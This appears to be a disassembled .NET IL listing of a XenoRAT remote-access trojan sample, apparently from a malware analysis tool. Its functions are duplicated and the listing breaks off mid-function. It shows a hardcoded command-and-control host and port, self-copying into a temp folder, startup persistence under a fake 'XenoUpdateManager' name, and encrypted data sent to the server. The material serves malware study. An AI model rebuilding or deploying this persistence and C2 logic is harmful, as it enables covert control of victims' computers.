File xenorat_388d80a52076aa1f8329606606b21086eddf22d051624057b329c9250489f0c7.exe
Function:
Loading..
00005324
00005324<SendAsync>d__9::MoveNext:
00005324ldarg.0
00005325ldfld <>1__state
0000532astloc.0
0000532bldarg.0
0000532cldfld <>4__this
00005331stloc.1
00005332ldloc.0
00005333brfalse.s IL_0029
00005335ldarg.0
00005336ldfld data
0000533bbrtrue.s IL_0029
0000533dldstr "data"
00005342ldstr "data can not be null!"
00005347newobj .ctor
0000534cthrow
0000534dnop
0000534eldloc.0
0000534fbrfalse IL_0130
00005354ldarg.0
00005355ldfld data
0000535acall Compress
0000535fstloc.3
00005360ldc.i4.0
00005361stloc.s 4
00005363ldarg.0
00005364ldfld data
00005369ldlen
0000536aconv.i4
0000536bstloc.s 5
0000536dldloc.3
0000536ebrfalse.s IL_005d
00005370ldloc.3
00005371ldlen
00005372conv.i4
00005373ldloc.s 5
00005375bge.s IL_005d
00005377ldarg.0
00005378ldloc.3
00005379stfld data
0000537eldc.i4.1
0000537fstloc.s 4
00005381ldc.i4.1
00005382newarr System.Byte
00005387dup
00005388ldc.i4.0
00005389ldloc.s 4
0000538bstelem.i1
0000538cstloc.s 6
0000538eldloc.s 4
00005390ldc.i4.1
00005391bne.un.s IL_0080
00005393ldloc.s 6
00005395ldloc.1
00005396ldloc.s 5
00005398call IntToBytes
0000539dcall Concat
000053a2stloc.s 6
000053a4ldarg.0
000053a5ldloc.s 6
000053a7ldarg.0
000053a8ldfld data
000053adcall Concat
000053b2stfld data
000053b7ldarg.0
000053b8ldarg.0
000053b9ldfld data
000053beldloc.1
000053bfldfld EncryptionKey
000053c4call Encrypt
000053c9stfld data
000053celdarg.0
000053cfldc.i4.1
000053d0newarr System.Byte
000053d5dup
000053d6ldc.i4.0
000053d7ldc.i4.3
000053d8stelem.i1
000053d9ldarg.0
000053daldfld data
000053dfcall Concat
000053e4stfld data
000053e9ldloc.1
000053ealdarg.0
000053ebldfld data
000053f0ldlen
000053f1conv.i4
000053f2call IntToBytes
000053f7stloc.s 7
000053f9ldarg.0
000053faldloc.s 7
000053fcldarg.0
000053fdldfld data
00005402call Concat
00005407stfld data
0000540cldloc.1
0000540dldfld sock
00005412ldarg.0
00005413ldfld data
00005418newobj .ctor
0000541dldc.i4.0
0000541ecall SendAsync
00005423callvirt GetAwaiter
00005428stloc.s 8
0000542aldloca.s 8
0000542ccall get_IsCompleted
00005431brtrue.s IL_014d
00005433ldarg.0
00005434ldc.i4.0
00005435dup
00005436stloc.0
00005437stfld <>1__state
0000543cldarg.0
0000543dldloc.s 8
0000543fstfld <>u__1
00005444ldarg.0
00005445ldflda <>t__builder
0000544aldloca.s 8
0000544cldarg.0
0000544dcall 0x2B000038
00005452leave.s IL_018b
00005454ldarg.0
00005455ldfld <>u__1
0000545astloc.s 8
0000545cldarg.0
0000545dldflda <>u__1
00005462initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
00005468ldarg.0
00005469ldc.i4.m1
0000546adup
0000546bstloc.0
0000546cstfld <>1__state
00005471ldloca.s 8
00005473call GetResult
00005478pop
00005479ldc.i4.1
0000547astloc.2
0000547bleave.s IL_0177
0000547dpop
0000547eldc.i4.0
0000547fstloc.2
00005480leave.s IL_0177
00005482stloc.s 9
00005484ldarg.0
00005485ldc.i4.s -2
00005487stfld <>1__state
0000548cldarg.0
0000548dldflda <>t__builder
00005492ldloc.s 9
00005494call SetException
00005499leave.s IL_018b
0000549bldarg.0
0000549cldc.i4.s -2
0000549estfld <>1__state
000054a3ldarg.0
000054a4ldflda <>t__builder
000054a9ldloc.2
000054aacall SetResult
000054afret
00005324
00005324<SendAsync>d__9::MoveNext:
00005324ldarg.0
00005325ldfld <>1__state
0000532astloc.0
0000532bldarg.0
0000532cldfld <>4__this
00005331stloc.1
00005332ldloc.0
00005333brfalse.s IL_0029
00005335ldarg.0
00005336ldfld data
0000533bbrtrue.s IL_0029
0000533dldstr "data"
00005342ldstr "data can not be null!"
00005347newobj .ctor
0000534cthrow
0000534dnop
0000534eldloc.0
0000534fbrfalse IL_0130
00005354ldarg.0
00005355ldfld data
0000535acall Compress
0000535fstloc.3
00005360ldc.i4.0
00005361stloc.s 4
00005363ldarg.0
00005364ldfld data
00005369ldlen
0000536aconv.i4
0000536bstloc.s 5
0000536dldloc.3
0000536ebrfalse.s IL_005d
00005370ldloc.3
00005371ldlen
00005372conv.i4
00005373ldloc.s 5
00005375bge.s IL_005d
00005377ldarg.0
00005378ldloc.3
00005379stfld data
0000537eldc.i4.1
0000537fstloc.s 4
00005381ldc.i4.1
00005382newarr System.Byte
00005387dup
00005388ldc.i4.0
00005389ldloc.s 4
0000538bstelem.i1
0000538cstloc.s 6
0000538eldloc.s 4
00005390ldc.i4.1
00005391bne.un.s IL_0080
00005393ldloc.s 6
00005395ldloc.1
00005396ldloc.s 5
00005398call IntToBytes
0000539dcall Concat
000053a2stloc.s 6
000053a4ldarg.0
000053a5ldloc.s 6
000053a7ldarg.0
000053a8ldfld data
000053adcall Concat
000053b2stfld data
000053b7ldarg.0
000053b8ldarg.0
000053b9ldfld data
000053beldloc.1
000053bfldfld EncryptionKey
000053c4call Encrypt
000053c9stfld data
000053celdarg.0
000053cfldc.i4.1
000053d0newarr System.Byte
000053d5dup
000053d6ldc.i4.0
000053d7ldc.i4.3
000053d8stelem.i1
000053d9ldarg.0
000053daldfld data
000053dfcall Concat
000053e4stfld data
000053e9ldloc.1
000053ealdarg.0
000053ebldfld data
000053f0ldlen
000053f1conv.i4
000053f2call IntToBytes
000053f7stloc.s 7
000053f9ldarg.0
000053faldloc.s 7
000053fcldarg.0
000053fdldfld data
00005402call Concat
00005407stfld data
0000540cldloc.1
0000540dldfld sock
00005412ldarg.0
00005413ldfld data
00005418newobj .ctor
0000541dldc.i4.0
0000541ecall SendAsync
00005423callvirt GetAwaiter
00005428stloc.s 8
0000542aldloca.s 8
0000542ccall get_IsCompleted
00005431brtrue.s IL_014d
00005433ldarg.0
00005434ldc.i4.0
00005435dup
00005436stloc.0
00005437stfld <>1__state
0000543cldarg.0
0000543dldloc.s 8
0000543fstfld <>u__1
00005444ldarg.0
00005445ldflda <>t__builder
0000544aldloca.s 8
0000544cldarg.0
0000544dcall 0x2B000038
00005452leave.s IL_018b
00005454ldarg.0
00005455ldfld <>u__1
0000545astloc.s 8
0000545cldarg.0
0000545dldflda <>u__1
00005462initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
00005468ldarg.0
00005469ldc.i4.m1
0000546adup
0000546bstloc.0
0000546cstfld <>1__state
00005471ldloca.s 8
00005473call GetResult
00005478pop
00005479ldc.i4.1
0000547astloc.2
0000547bleave.s IL_0177
0000547dpop
0000547eldc.i4.0
0000547fstloc.2
00005480leave.s IL_0177
00005482stloc.s 9
00005484ldarg.0
00005485ldc.i4.s -2
00005487stfld <>1__state
0000548cldarg.0
0000548dldflda <>t__builder
00005492ldloc.s 9
00005494call SetException
00005499leave.s IL_018b
0000549bldarg.0
0000549cldc.i4.s -2
0000549estfld <>1__state
000054a3ldarg.0
000054a4ldflda <>t__builder
000054a9ldloc.2
000054aacall SetResult
000054afret
00005324
000054f0
000054f0xeno_rat_client.Program::Main:
000054f0ldloca.s 0
000054f2call Create
000054f7stfld <>t__builder
000054fcldloca.s 0
000054feldc.i4.m1
000054ffstfld <>1__state
00005504ldloca.s 0
00005506ldflda <>t__builder
0000550bldloca.s 0
0000550dcall 0x2B000039
00005512ldloca.s 0
00005514ldflda <>t__builder
00005519call get_Task
0000551eret
000054f0
000054f0xeno_rat_client.Program::Main:
000054f0ldloca.s 0
000054f2call Create
000054f7stfld <>t__builder
000054fcldloca.s 0
000054feldc.i4.m1
000054ffstfld <>1__state
00005504ldloca.s 0
00005506ldflda <>t__builder
0000550bldloca.s 0
0000550dcall 0x2B000039
00005512ldloca.s 0
00005514ldflda <>t__builder
00005519call get_Task
0000551eret
000054f0
0000552c
0000552cxeno_rat_client.Program::CurrentDomain_UnhandledException:
0000552cldarg.1
0000552dcallvirt get_ExceptionObject
00005532isinst System.Exception
00005537stloc.0
00005538ldsfld Server
0000553dbrfalse IL_0097
00005542ldsfld Server
00005547ldfld subNodes
0000554ccallvirt GetEnumerator
00005551stloc.1
00005552br.s IL_007e
00005554ldloca.s 1
00005556call get_Current
0000555bstloc.2
0000555cldloc.2
0000555dldfld SockType
00005562ldc.i4.1
00005563bne.un.s IL_007e
00005565ldloc.2
00005566ldc.i4.1
00005567newarr System.Byte
0000556cdup
0000556dldc.i4.0
0000556eldc.i4.3
0000556fstelem.i1
00005570call get_UTF8
00005575ldloc.0
00005576callvirt get_Message
0000557bcall get_NewLine
00005580ldloc.0
00005581callvirt get_StackTrace
00005586call Concat
0000558bcallvirt GetBytes
00005590call Concat
00005595callvirt SendAsync
0000559acallvirt get_Result
0000559fpop
000055a0ldc.i4 1000
000055a5call Sleep
000055aaldloca.s 1
000055accall MoveNext
000055b1brtrue.s IL_0028
000055b3leave.s IL_0097
000055b5ldloca.s 1
000055b7constrained. valuetype Enumerator<class xeno_rat_client.Node>
000055bdcallvirt Dispose
000055c2endfinally
000055c3leave.s IL_009c
000055c5pop
000055c6leave.s IL_009c
000055c8call GetEntryAssembly
000055cdcallvirt get_Location
000055d2call Start
000055d7pop
000055d8call GetCurrentProcess
000055ddcallvirt Kill
000055e2ret
0000552c
0000552cxeno_rat_client.Program::CurrentDomain_UnhandledException:
0000552cldarg.1
0000552dcallvirt get_ExceptionObject
00005532isinst System.Exception
00005537stloc.0
00005538ldsfld Server
0000553dbrfalse IL_0097
00005542ldsfld Server
00005547ldfld subNodes
0000554ccallvirt GetEnumerator
00005551stloc.1
00005552br.s IL_007e
00005554ldloca.s 1
00005556call get_Current
0000555bstloc.2
0000555cldloc.2
0000555dldfld SockType
00005562ldc.i4.1
00005563bne.un.s IL_007e
00005565ldloc.2
00005566ldc.i4.1
00005567newarr System.Byte
0000556cdup
0000556dldc.i4.0
0000556eldc.i4.3
0000556fstelem.i1
00005570call get_UTF8
00005575ldloc.0
00005576callvirt get_Message
0000557bcall get_NewLine
00005580ldloc.0
00005581callvirt get_StackTrace
00005586call Concat
0000558bcallvirt GetBytes
00005590call Concat
00005595callvirt SendAsync
0000559acallvirt get_Result
0000559fpop
000055a0ldc.i4 1000
000055a5call Sleep
000055aaldloca.s 1
000055accall MoveNext
000055b1brtrue.s IL_0028
000055b3leave.s IL_0097
000055b5ldloca.s 1
000055b7constrained. valuetype Enumerator<class xeno_rat_client.Node>
000055bdcallvirt Dispose
000055c2endfinally
000055c3leave.s IL_009c
000055c5pop
000055c6leave.s IL_009c
000055c8call GetEntryAssembly
000055cdcallvirt get_Location
000055d2call Start
000055d7pop
000055d8call GetCurrentProcess
000055ddcallvirt Kill
000055e2ret
0000552c
0000560c
0000560cxeno_rat_client.Program::.cctor:
0000560cnewobj .ctor
00005611stsfld dllhandler
00005616ldstr "osocraft.ddns.net"
0000561bstsfld ServerIp
00005620ldc.i4 25566
00005625stsfld ServerPort
0000562aldc.i4.s 32
0000562cnewarr System.Byte
00005631dup
00005632ldtoken 630DCD2966C4336691125448BBB25B4FF412A49C732DB2C8ABC1B8581BD710DD
00005637call InitializeArray
0000563cstsfld EncryptionKey
00005641ldc.i4 5000
00005646stsfld delay
0000564bldstr "IAMAFUCKINGRAN"
00005650stsfld mutex_string
00005655ldc.i4 1
0000565astsfld DoStartup
0000565fldstr "temp"
00005664stsfld Install_path
00005669ldstr "Client"
0000566estsfld startup_name
00005673newobj .ctor
00005678stsfld ProcessLog
0000567dret
0000560c
0000560cxeno_rat_client.Program::.cctor:
0000560cnewobj .ctor
00005611stsfld dllhandler
00005616ldstr "osocraft.ddns.net"
0000561bstsfld ServerIp
00005620ldc.i4 25566
00005625stsfld ServerPort
0000562aldc.i4.s 32
0000562cnewarr System.Byte
00005631dup
00005632ldtoken 630DCD2966C4336691125448BBB25B4FF412A49C732DB2C8ABC1B8581BD710DD
00005637call InitializeArray
0000563cstsfld EncryptionKey
00005641ldc.i4 5000
00005646stsfld delay
0000564bldstr "IAMAFUCKINGRAN"
00005650stsfld mutex_string
00005655ldc.i4 1
0000565astsfld DoStartup
0000565fldstr "temp"
00005664stsfld Install_path
00005669ldstr "Client"
0000566estsfld startup_name
00005673newobj .ctor
00005678stsfld ProcessLog
0000567dret
0000560c
0000568c
0000568cxeno_rat_client.Program::<Main>:
0000568cldarg.0
0000568dcall Main
00005692callvirt GetAwaiter
00005697stloc.0
00005698ldloca.s 0
0000569acall GetResult
0000569fret
0000568c
0000568cxeno_rat_client.Program::<Main>:
0000568cldarg.0
0000568dcall Main
00005692callvirt GetAwaiter
00005697stloc.0
00005698ldloca.s 0
0000569acall GetResult
0000569fret
0000568c
000056ac
000056ac<Main>d__11::MoveNext:
000056acldarg.0
000056adldfld <>1__state
000056b2stloc.0
000056b3ldloc.0
000056b4switch (IL_013e, IL_01d7, IL_0246, IL_0272, IL_0272, IL_0272, IL_0461)
000056d5call get_Out
000056danewobj .ctor
000056dfcall SetOut
000056e4call get_CurrentDomain
000056e9ldnull
000056ealdftn CurrentDomain_UnhandledException
000056f0newobj .ctor
000056f5callvirt add_UnhandledException
000056facall IsAdmin
000056ffbrfalse.s IL_0069
00005701ldsfld mutex_string
00005706ldstr "-admin"
0000570bcall Concat
00005710stsfld mutex_string
00005715ldsfld Install_path
0000571aldstr "nothingset"
0000571fcall op_Inequality
00005724brfalse.s IL_00ea
00005726ldstr "%"
0000572bldsfld Install_path
00005730ldstr "%\\XenoManager\\"
00005735call Concat
0000573acall ExpandEnvironmentVariables
0000573fstloc.2
00005740call GetCurrentDirectory
00005745ldloc.2
00005746call op_Inequality
0000574bbrfalse.s IL_00e5
0000574dcall GetEntryAssembly
00005752callvirt get_Location
00005757stloc.3
00005758ldloc.2
00005759call Exists
0000575ebrtrue.s IL_00bb
00005760ldloc.2
00005761call CreateDirectory
00005766pop
00005767ldloc.3
00005768ldloc.2
00005769ldloc.3
0000576acall GetFileName
0000576fcall Concat
00005774call Copy
00005779ldloc.2
0000577aldloc.3
0000577bcall GetFileName
00005780call Concat
00005785call Start
0000578apop
0000578bldc.i4.0
0000578ccall Exit
00005791leave.s IL_00ea
00005793pop
00005794leave.s IL_00ea
00005796ldc.i4.1
00005797ldsfld mutex_string
0000579cldloca.s 1
0000579enewobj .ctor
000057a3pop
000057a4ldloc.1
000057a5brtrue.s IL_0100
000057a7leave IL_04c1
000057acldsfld delay
000057b1call Delay
000057b6callvirt GetAwaiter
000057bbstloc.s 4
000057bdldloca.s 4
000057bfcall get_IsCompleted
000057c4brtrue.s IL_015b
000057c6ldarg.0
000057c7ldc.i4.0
000057c8dup
000057c9stloc.0
000057castfld <>1__state
000057cfldarg.0
000057d0ldloc.s 4
000057d2stfld <>u__1
000057d7ldarg.0
000057d8ldflda <>t__builder
000057ddldloca.s 4
000057dfldarg.0
000057e0call 0x2B00003A
000057e5leave IL_04d4
000057ealdarg.0
000057ebldfld <>u__1
000057f0stloc.s 4
000057f2ldarg.0
000057f3ldflda <>u__1
000057f8initobj System.Runtime.CompilerServices.TaskAwaiter
000057feldarg.0
000057ffldc.i4.m1
00005800dup
00005801stloc.0
00005802stfld <>1__state
00005807ldloca.s 4
00005809call GetResult
0000580eldsfld DoStartup
00005813ldc.i4.1
00005814bne.un IL_026b
00005819ldsfld startup_name
0000581eldstr "nothingset"
00005823call op_Equality
00005828brfalse.s IL_0188
0000582aldstr "XenoUpdateManager"
0000582fstsfld startup_name
00005834call IsAdmin
00005839brfalse.s IL_01fe
0000583bcall GetEntryAssembly
00005840callvirt get_Location
00005845ldsfld startup_name
0000584acall AddToStartupAdmin
0000584fcallvirt GetAwaiter
00005854stloc.s 5
00005856ldloca.s 5
00005858call get_IsCompleted
0000585dbrtrue.s IL_01f4
0000585fldarg.0
00005860ldc.i4.1
00005861dup
00005862stloc.0
00005863stfld <>1__state
00005868ldarg.0
00005869ldloc.s 5
0000586bstfld <>u__2
00005870ldarg.0
00005871ldflda <>t__builder
00005876ldloca.s 5
00005878ldarg.0
00005879call 0x2B00003B
0000587eleave IL_04d4
00005883ldarg.0
00005884ldfld <>u__2
00005889stloc.s 5
0000588bldarg.0
0000588cldflda <>u__2
00005891initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00005897ldarg.0
00005898ldc.i4.m1
00005899dup
0000589astloc.0
0000589bstfld <>1__state
000058a0ldloca.s 5
000058a2call GetResult
000058a7pop
000058a8br.s IL_026b
000058aacall GetEntryAssembly
000058afcallvirt get_Location
000058b4ldsfld startup_name
000058b9call AddToStartupNonAdmin
000058becallvirt GetAwaiter
000058c3stloc.s 5
000058c5ldloca.s 5
000058c7call get_IsCompleted
000058ccbrtrue.s IL_0263
000058celdarg.0
000058cfldc.i4.2
000058d0dup
000058d1stloc.0
000058d2stfld <>1__state
000058d7ldarg.0
000058d8ldloc.s 5
000058dastfld <>u__2
000058dfldarg.0
000058e0ldflda <>t__builder
000058e5ldloca.s 5
000058e7ldarg.0
000058e8call 0x2B00003B
000058edleave IL_04d4
000058f2ldarg.0
000058f3ldfld <>u__2
000058f8stloc.s 5
000058faldarg.0
000058fbldflda <>u__2
00005900initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00005906ldarg.0
00005907ldc.i4.m1
00005908dup
00005909stloc.0
0000590astfld <>1__state
0000590fldloca.s 5
00005911call GetResult
00005916pop
00005917ldarg.0
00005918ldc.i4.0
00005919stfld <>7__wrap2
0000591enop
0000591fldloc.0
00005920ldc.i4.3
00005921sub
00005922switch (IL_02de, IL_0354, IL_03c5)
00005933ldarg.0
00005934ldc.i4.2
00005935ldc.i4.1
00005936ldc.i4.6
00005937newobj .ctor
0000593cstfld <socket>5__4
00005941ldarg.0
00005942ldfld <socket>5__4
00005947ldsfld ServerIp
0000594cldsfld ServerPort
00005951call ConnectAsync
00005956callvirt GetAwaiter
0000595bstloc.s 4
0000595dldloca.s 4
0000595fcall get_IsCompleted
00005964brtrue.s IL_02fb
00005966ldarg.0
00005967ldc.i4.3
00005968dup
00005969stloc.0
0000596astfld <>1__state
0000596fldarg.0
00005970ldloc.s 4
00005972stfld <>u__1
00005977ldarg.0
00005978ldflda <>t__builder
0000597dldloca.s 4
0000597fldarg.0
00005980call 0x2B00003A
00005985leave IL_04d4
0000598aldarg.0
0000598bldfld <>u__1
00005990stloc.s 4
00005992ldarg.0
00005993ldflda <>u__1
00005998initobj System.Runtime.CompilerServices.TaskAwaiter
0000599eldarg.0
0000599fldc.i4.m1
000059a0dup
000059a1stloc.0
000059a2stfld <>1__state
000059a7ldloca.s 4
000059a9call GetResult
000059aeldarg.0
000059afldfld <socket>5__4
000059b4ldsfld EncryptionKey
000059b9ldc.i4.0
000059baldc.i4.0
000059bbldnull
000059bcldftn OnDisconnect
000059c2newobj .ctor
000059c7call ConnectAndSetupAsync
000059cccallvirt GetAwaiter
000059d1stloc.s 6
000059d3ldloca.s 6
000059d5call get_IsCompleted
000059dabrtrue.s IL_0371
000059dcldarg.0
000059ddldc.i4.4
000059dedup
000059dfstloc.0
000059e0stfld <>1__state
000059e5ldarg.0
000059e6ldloc.s 6
000059e8stfld <>u__3
000059edldarg.0
000059eeldflda <>t__builder
000059f3ldloca.s 6
000059f5ldarg.0
000059f6call 0x2B00003C
000059fbleave IL_04d4
00005a00ldarg.0
00005a01ldfld <>u__3
00005a06stloc.s 6
00005a08ldarg.0
00005a09ldflda <>u__3
00005a0einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
00005a14ldarg.0
00005a15ldc.i4.m1
00005a16dup
00005a17stloc.0
00005a18stfld <>1__state
00005a1dldloca.s 6
00005a1fcall GetResult
00005a24stsfld Server
00005a29ldsfld Server
00005a2eldsfld dllhandler
00005a33newobj .ctor
00005a38callvirt Type0Receive
00005a3dcallvirt GetAwaiter
00005a42stloc.s 4
00005a44ldloca.s 4
00005a46call get_IsCompleted
00005a4bbrtrue.s IL_03e2
00005a4dldarg.0
00005a4eldc.i4.5
00005a4fdup
00005a50stloc.0
00005a51stfld <>1__state
00005a56ldarg.0
00005a57ldloc.s 4
00005a59stfld <>u__1
00005a5eldarg.0
00005a5fldflda <>t__builder
00005a64ldloca.s 4
00005a66ldarg.0
00005a67call 0x2B00003A
00005a6cleave IL_04d4
00005a71ldarg.0
00005a72ldfld <>u__1
00005a77stloc.s 4
00005a79ldarg.0
00005a7aldflda <>u__1
00005a7finitobj System.Runtime.CompilerServices.TaskAwaiter
00005a85ldarg.0
00005a86ldc.i4.m1
00005a87dup
00005a88stloc.0
00005a89stfld <>1__state
00005a8eldloca.s 4
00005a90call GetResult
00005a95ldarg.0
00005a96ldnull
00005a97stfld <socket>5__4
00005a9cleave.s IL_0405
00005a9estloc.s 7
00005aa0ldarg.0
00005aa1ldloc.s 7
00005aa3stfld <>7__wrap1
00005aa8ldarg.0
00005aa9ldc.i4.1
00005aaastfld <>7__wrap2
00005aafleave.s IL_0405
00005ab1ldarg.0
00005ab2ldfld <>7__wrap2
00005ab7stloc.s 8
00005ab9ldloc.s 8
00005abbldc.i4.1
00005abcbne.un IL_049c
00005ac1ldarg.0
00005ac2ldarg.0
00005ac3ldfld <>7__wrap1
00005ac8castclass System.Exception
00005acdstfld <e>5__5
00005ad2ldc.i4 10000
00005ad7call Delay
00005adccallvirt GetAwaiter
00005ae1stloc.s 4
00005ae3ldloca.s 4
00005ae5call get_IsCompleted
00005aeabrtrue.s IL_047e
00005aecldarg.0
00005aedldc.i4.6
00005aeedup
00005aefstloc.0
00005af0stfld <>1__state
00005af5ldarg.0
00005af6ldloc.s 4
00005af8stfld <>u__1
00005afdldarg.0
00005afeldflda <>t__builder
00005b03ldloca.s 4
00005b05ldarg.0
00005b06call 0x2B00003A
00005b0bleave.s IL_04d4
00005b0dldarg.0
00005b0eldfld <>u__1
00005b13stloc.s 4
00005b15ldarg.0
00005b16ldflda <>u__1
00005b1binitobj System.Runtime.CompilerServices.TaskAwaiter
00005b21ldarg.0
00005b22ldc.i4.m1
00005b23dup
00005b24stloc.0
00005b25stfld <>1__state
00005b2aldloca.s 4
00005b2ccall GetResult
00005b31ldarg.0
00005b32ldfld <e>5__5
00005b37callvirt get_Message
00005b3ccall WriteLine
00005b41ldarg.0
00005b42ldnull
00005b43stfld <e>5__5
00005b48ldarg.0
00005b49ldnull
00005b4astfld <>7__wrap1
00005b4fbr IL_026b
00005b54stloc.s 9
00005b56ldarg.0
00005b57ldc.i4.s -2
00005b59stfld <>1__state
00005b5eldarg.0
00005b5fldflda <>t__builder
00005b64ldloc.s 9
00005b66call SetException
00005b6bleave.s IL_04d4
00005b6dldarg.0
00005b6eldc.i4.s -2
00005b70stfld <>1__state
00005b75ldarg.0
00005b76ldflda <>t__builder
00005b7bcall SetResult
00005b80ret
000056ac
000056ac<Main>d__11::MoveNext:
000056acldarg.0
000056adldfld <>1__state
000056b2stloc.0
000056b3ldloc.0
000056b4switch (IL_013e, IL_01d7, IL_0246, IL_0272, IL_0272, IL_0272, IL_0461)
000056d5call get_Out
000056danewobj .ctor
000056dfcall SetOut
000056e4call get_CurrentDomain
000056e9ldnull
000056ealdftn CurrentDomain_UnhandledException
000056f0newobj .ctor
000056f5callvirt add_UnhandledException
000056facall IsAdmin
000056ffbrfalse.s IL_0069
00005701ldsfld mutex_string
00005706ldstr "-admin"
0000570bcall Concat
00005710stsfld mutex_string
00005715ldsfld Install_path
0000571aldstr "nothingset"
0000571fcall op_Inequality
00005724brfalse.s IL_00ea
00005726ldstr "%"
0000572bldsfld Install_path
00005730ldstr "%\\XenoManager\\"
00005735call Concat
0000573acall ExpandEnvironmentVariables
0000573fstloc.2
00005740call GetCurrentDirectory
00005745ldloc.2
00005746call op_Inequality
0000574bbrfalse.s IL_00e5
0000574dcall GetEntryAssembly
00005752callvirt get_Location
00005757stloc.3
00005758ldloc.2
00005759call Exists
0000575ebrtrue.s IL_00bb
00005760ldloc.2
00005761call CreateDirectory
00005766pop
00005767ldloc.3
00005768ldloc.2
00005769ldloc.3
0000576acall GetFileName
0000576fcall Concat
00005774call Copy
00005779ldloc.2
0000577aldloc.3
0000577bcall GetFileName
00005780call Concat
00005785call Start
0000578apop
0000578bldc.i4.0
0000578ccall Exit
00005791leave.s IL_00ea
00005793pop
00005794leave.s IL_00ea
00005796ldc.i4.1
00005797ldsfld mutex_string
0000579cldloca.s 1
0000579enewobj .ctor
000057a3pop
000057a4ldloc.1
000057a5brtrue.s IL_0100
000057a7leave IL_04c1
000057acldsfld delay
000057b1call Delay
000057b6callvirt GetAwaiter
000057bbstloc.s 4
000057bdldloca.s 4
000057bfcall get_IsCompleted
000057c4brtrue.s IL_015b
000057c6ldarg.0
000057c7ldc.i4.0
000057c8dup
000057c9stloc.0
000057castfld <>1__state
000057cfldarg.0
000057d0ldloc.s 4
000057d2stfld <>u__1
000057d7ldarg.0
000057d8ldflda <>t__builder
000057ddldloca.s 4
000057dfldarg.0
000057e0call 0x2B00003A
000057e5leave IL_04d4
000057ealdarg.0
000057ebldfld <>u__1
000057f0stloc.s 4
000057f2ldarg.0
000057f3ldflda <>u__1
000057f8initobj System.Runtime.CompilerServices.TaskAwaiter
000057feldarg.0
000057ffldc.i4.m1
00005800dup
00005801stloc.0
00005802stfld <>1__state
00005807ldloca.s 4
00005809call GetResult
0000580eldsfld DoStartup
00005813ldc.i4.1
00005814bne.un IL_026b
00005819ldsfld startup_name
0000581eldstr "nothingset"
00005823call op_Equality
00005828brfalse.s IL_0188
0000582aldstr "XenoUpdateManager"
0000582fstsfld startup_name
00005834call IsAdmin
00005839brfalse.s IL_01fe
0000583bcall GetEntryAssembly
00005840callvirt get_Location
00005845ldsfld startup_name
0000584acall AddToStartupAdmin
0000584fcallvirt GetAwaiter
00005854stloc.s 5
00005856ldloca.s 5
00005858call get_IsCompleted
0000585dbrtrue.s IL_01f4
0000585fldarg.0
00005860ldc.i4.1
00005861dup
00005862stloc.0
00005863stfld <>1__state
00005868ldarg.0
00005869ldloc.s 5
0000586bstfld <>u__2
00005870ldarg.0
00005871ldflda <>t__builder
00005876ldloca.s 5
00005878ldarg.0
00005879call 0x2B00003B
0000587eleave IL_04d4
00005883ldarg.0
00005884ldfld <>u__2
00005889stloc.s 5
0000588bldarg.0
0000588cldflda <>u__2
00005891initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00005897ldarg.0
00005898ldc.i4.m1
00005899dup
0000589astloc.0
0000589bstfld <>1__state
000058a0ldloca.s 5
000058a2call GetResult
000058a7pop
000058a8br.s IL_026b
000058aacall GetEntryAssembly
000058afcallvirt get_Location
000058b4ldsfld startup_name
000058b9call AddToStartupNonAdmin
000058becallvirt GetAwaiter
000058c3stloc.s 5
000058c5ldloca.s 5
000058c7call get_IsCompleted
000058ccbrtrue.s IL_0263
000058celdarg.0
000058cfldc.i4.2
000058d0dup
000058d1stloc.0
000058d2stfld <>1__state
000058d7ldarg.0
000058d8ldloc.s 5
000058dastfld <>u__2
000058dfldarg.0
000058e0ldflda <>t__builder
000058e5ldloca.s 5
000058e7ldarg.0
000058e8call 0x2B00003B
000058edleave IL_04d4
000058f2ldarg.0
000058f3ldfld <>u__2
000058f8stloc.s 5
000058faldarg.0
000058fbldflda <>u__2
00005900initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00005906ldarg.0
00005907ldc.i4.m1
00005908dup
00005909stloc.0
0000590astfld <>1__state
0000590fldloca.s 5
00005911call GetResult
00005916pop
00005917ldarg.0
00005918ldc.i4.0
00005919stfld <>7__wrap2
0000591enop
0000591fldloc.0
00005920ldc.i4.3
00005921sub
00005922switch (IL_02de, IL_0354, IL_03c5)
00005933ldarg.0
00005934ldc.i4.2
00005935ldc.i4.1
00005936ldc.i4.6
00005937newobj .ctor
0000593cstfld <socket>5__4
00005941ldarg.0
00005942ldfld <socket>5__4
00005947ldsfld ServerIp
0000594cldsfld ServerPort
00005951call ConnectAsync
00005956callvirt GetAwaiter
0000595bstloc.s 4
0000595dldloca.s 4
0000595fcall get_IsCompleted
00005964brtrue.s IL_02fb
00005966ldarg.0
00005967ldc.i4.3
00005968dup
00005969stloc.0
0000596astfld <>1__state
0000596fldarg.0
00005970ldloc.s 4
00005972stfld <>u__1
00005977ldarg.0
00005978ldflda <>t__builder
0000597dldloca.s 4
0000597fldarg.0
00005980call 0x2B00003A
00005985leave IL_04d4
0000598aldarg.0
0000598bldfld <>u__1
00005990stloc.s 4
00005992ldarg.0
00005993ldflda <>u__1
00005998initobj System.Runtime.CompilerServices.TaskAwaiter
0000599eldarg.0
0000599fldc.i4.m1
000059a0dup
000059a1stloc.0
000059a2stfld <>1__state
000059a7ldloca.s 4
000059a9call GetResult
000059aeldarg.0
000059afldfld <socket>5__4
000059b4ldsfld EncryptionKey
000059b9ldc.i4.0
000059baldc.i4.0
000059bbldnull
000059bcldftn OnDisconnect
000059c2newobj .ctor
000059c7call ConnectAndSetupAsync
000059cccallvirt GetAwaiter
000059d1stloc.s 6
000059d3ldloca.s 6
000059d5call get_IsCompleted
000059dabrtrue.s IL_0371
000059dcldarg.0
000059ddldc.i4.4
000059dedup
000059dfstloc.0
000059e0stfld <>1__state
000059e5ldarg.0
000059e6ldloc.s 6
000059e8stfld <>u__3
000059edldarg.0
000059eeldflda <>t__builder
000059f3ldloca.s 6
000059f5ldarg.0
000059f6call 0x2B00003C
000059fbleave IL_04d4
00005a00ldarg.0
00005a01ldfld <>u__3
00005a06stloc.s 6
00005a08ldarg.0
00005a09ldflda <>u__3
00005a0einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
00005a14ldarg.0
